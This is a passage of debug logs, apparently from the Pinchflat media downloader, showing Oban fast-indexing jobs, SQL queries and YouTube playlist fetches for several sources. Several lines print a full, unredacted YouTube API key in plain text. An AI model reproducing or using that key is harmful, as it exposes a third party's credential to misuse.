s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:31.241 [debug] QUERY OK source="media_profiles" db=0.1ms idle=491.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:37:31.241 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:31.241 [debug] Fetching recent media IDs from YouTube API for playlist: UUDiKw3GnFIwyNJBzhCoRI-Q 16:37:31.241 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:31.241 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:37:31.432 [debug] QUERY OK source="media_items" db=0.7ms idle=191.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [4, "Z26kN5VfyGA", "QIEdK8haaTw", "_Us6EeUP0_Q", "lpswjPZYXx4", "mmntN7zIekU", "nvk3Njj_X0c", "eHCjuUBXwSo", "459a7YBmBOE", "yE48_MN8Ng4", "du03jSbZwEw", "ZBJnX8_Fx_g", "bLYUD4IMvQI", "EKZZwowhDiY", "nelpE3tC4Ig", "wzn0T1qX5Ko", "fk8zF0xav-Q", "tSSwuvJzHFc", "TIKTzjdTD98", "XW5tm9vAh2M", "cSjYTb1zdkA", "jqH3z8OwUn8", "9uiXXCOmJyY", "YP9M8cYfn-4", "KbixzNLGW3Q", "rgZlzCd0DUU", "JSxgCEpkiKM", "GnOpIQJnYWU", "CogTK7K_YZ8", "LFYjgLqQ99A", "NfvxMBglQXo", "JJPA_iM8Hrs", "tCC0pt6XE3Q", "fUWjIPHuZxw", "JtUC7H0Q1JY", "uvYt1GgcsUI", "V7CnaT-BfSo", "e22vAVH_JtE", "RwlNKD4KOZM", "S4knv0ivcEU", "exwuRtM27BY", "bCZX7x_xDWE", "JR9uWwbZGbw", "ResVOM4BhiQ", "wi2a3GG0yIc", "ZYyLetNAydM", "ZOz1fA9W3Ms", "QtVIR_-hMq8", "sPysKEfXzWM", "TEPKKZtclTA", ...] 16:37:31.433 [debug] QUERY OK source="media_items" db=0.5ms idle=192.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [4] 16:37:31.434 [debug] QUERY OK source="tasks" db=0.1ms idle=192.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268282, 4, ~U[2026-10-09 21:37:31Z], ~U[2026-10-09 21:37:31Z]] 16:37:31.434 [info] {"args":{"id":4},"id":5268243,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":194144,"event":"job:stop","queue_time":411311,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:44.837 [info] {"source":"oban","duration":9837,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:37:53.265 [info] {"args":{"id":44},"id":5268244,"meta":{},"system_time":1791581873265187920,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:53.265 [debug] QUERY OK source="sources" db=0.1ms idle=571.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [44] 16:37:53.265 [debug] QUERY OK source="settings" db=0.0ms idle=571.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:53.265 [debug] QUERY OK source="media_profiles" db=0.1ms idle=571.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:37:53.266 [debug] QUERY OK source="settings" db=0.5ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:53.266 [debug] Fetching recent media IDs from YouTube API for playlist: UUqppg7votukolx20yh3H9kQ 16:37:53.266 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:53.266 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:37:53.373 [debug] QUERY OK source="media_items" db=0.4ms idle=107.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [44, "qfSDhNLiN_U", "_qzU0mb7Ubw", "QLNxc6g0pjo", "vwTIQlSCb4M", "pRUNSy_tFkM", "M5qGSZKeaMA", "EVq8Vskx_Dw", "iQJO80qA0Wk", "o8BzeOf-smA", "fiS-okUK7KE", "UIN2Q2u1A8o", "vSBr3WFxJhY", "9BepF3pfqTY", "4qt4YY8m6fg", "JYJoETDh4ZU", "2ASOQLFr7-M", "fx5N1fY3Fsg", "qWvRe1u0AL0", "Okhp89ilgaY", "c9NY88Hf1Ns", "so6XWjuMJCg", "ejPqAJ0dHwY"] 16:37:53.374 [debug] QUERY OK source="media_items" db=0.1ms idle=108.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [44] 16:37:53.374 [debug] QUERY OK source="tasks" db=0.1ms idle=107.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268283, 44, ~U[2026-10-09 21:37:53Z], ~U[2026-10-09 21:37:53Z]] 16:37:53.374 [info] {"args":{"id":44},"id":5268244,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":109552,"event":"job:stop","queue_time":442214,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:54.266 [info] {"args":{"id":7},"id":5268245,"meta":{},"system_time":1791581874266200106,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:54.266 [debug] QUERY OK source="sources" db=0.1ms idle=891.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 16:37:54.266 [debug] QUERY OK source="settings" db=0.1ms idle=891.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:54.266 [debug] QUERY OK source="media_profiles" db=0.1ms idle=885.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:37:54.267 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:54.267 [debug] Fetching recent media IDs from YouTube API for playlist: UUZU9T1ceaOgwfLRq7OKFU4Q 16:37:54.267 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:54.267 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:37:54.446 [debug] QUERY OK source="media_items" db=0.6ms idle=179.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [7, "YJYGJQeq9XA", "bMMG9TqH7Cg", "ivwGdPaEKgw", "MSim6wHctJs", "a-pw6MLvxG4", "iJFXHSikXAw", "cX4nq3oWHEs", "sx0pL-IG9ZY", "I18RjNvKBb0", "w3xqsMv6T_k", "UJLnAxofL4w", "461UOs0Bvpo", "eeeIX-jPCfU", "I_dqiK6FEUw", "1F0KOBiLPJY", "GOY1nrnGFoQ", "49AR2G__gbY", "moBfszFIlZU", "ooneAa4P_DI", "5qJ4lBwxSHs", "EGIq02dD1_o", "ud56dWtJZuI", "wQxngUFOoqY", "Moi8q2spry8", "tdkSl_8BMDM", "3gZQa8wvPyQ", "A-WuDVu8Aec", "inZfAQX-ikk", "A5fjsYyBYeM", "RHbqw8PpDrk", "9BfpQaUdIKA", "vS959lEUED0", "3HO-1R_ye40", "cWrGe7BDnHY", "Hih6I3DOPZQ", "BMNtRwFDB6s", "3IzWVKqW8LA", "1OJcqhrA0aE", "xfk3OnaKJRU", "W5PifMAnoJY", "zR4OJ9_S5mU", "KWWxrVzMk-s", "WNGbL6zTXg0", "XnuH8t5MmWU", "zNYsw-cW8v8", "vq4TbSxK0P0", "pgCBgctN_VU", "2SM3dlbe2S8", "vwLSANJYMf4", ...] 16:37:54.449 [debug] QUERY OK source="media_items" db=2.3ms idle=180.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [7] 16:37:54.450 [debug] QUERY OK source="tasks" db=0.1ms idle=182.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268284, 7, ~U[2026-10-09 21:37:54Z], ~U[2026-10-09 21:37:54Z]] 16:37:54.450 [info] {"args":{"id":7},"id":5268245,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":184003,"event":"job:stop","queue_time":427569,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:54.456 [info] {"args":{"id":25},"id":5268246,"meta":{},"system_time":1791581874456183900,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:54.456 [debug] QUERY OK source="sources" db=0.1ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 16:37:54.456 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:54.456 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:37:54.456 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:54.456 [debug] Fetching recent media IDs from YouTube API for playlist: UUnZx--LpG2spgmlxOcC-DRA 16:37:54.457 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:54.457 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:37:54.648 [debug] QUERY OK source="media_items" db=0.5ms idle=191.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [25, "hsY3IJVKOcw", "a0YlDUdNjqc", "62hl5tFrodQ", "gStpYu84aRQ", "uKW8Td2gynY", "TpU_mB8MO4k", "EzkSQzP0ExQ", "kCuY95F6R40", "Xu7wneIzhPM", "IzNFKW9EIuA", "sZ1xZHqxah4", "55BSBuorfhQ", "Aw2XEiN1VNY", "IiH_inHowI8", "2uqbR-ntKdE", "0aa6XyEQgFY", "fMN1zdsyVTg", "vjcS8RKa194", "ocYp07IRgxQ", "_9adBz4FN5Y", "IYDwHD9p_qQ", "aSYbsUlefuk", "CZY_iUWtd5Y", "r3zmwPNRdPc", "_ZAEcUvqFnk", "ba1BfC-NO7s", "3gg3-t2CUn4", "pAwv29cLSq0", "GzJ7TaJIhhs", "Bc5RIeIjZT8", "t9XtC85e-tQ", "InaGX4XhPk0", "HSVmPi_p_GQ", "3Bp8fDX_9pY", "2xy8vg2WLz4", "bG0VnCUZm-s", "NIDy6_QXX-E", "Lhoi-gx3O9I", "6jLIm8Bt2dA", "8rf4YP-OlFs", "llaLuaNTA-Q", "QhxZ2JujRLs", "MEdMneWCqFA", "t0kErQN5pbM", "K7j9ONAplwY", "4rEcECZeyoE", "RwIhXqA7tQg", "_v18JX0Nwvk", "kZR4QlyyBO4", ...] 16:37:54.650 [debug] QUERY OK source="media_items" db=1.3ms idle=192.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [25] 16:37:54.952 [debug] QUERY OK source="tasks" db=301.0ms idle=193.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268285, 25, ~U[2026-10-09 21:37:54Z], ~U[2026-10-09 21:37:54Z]] 16:37:55.006 [info] {"args":{"id":25},"id":5268246,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":495919,"event":"job:stop","queue_time":430661,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:55.267 [info] {"args":{"id":38},"id":5268247,"meta":{},"system_time":1791581875267233231,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:55.267 [debug] QUERY OK source="sources" db=0.1ms idle=315.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [38] 16:37:55.267 [debug] QUERY OK source="settings" db=0.0ms idle=260.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:55.267 [debug] QUERY OK source="media_profiles" db=0.1ms idle=254.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", 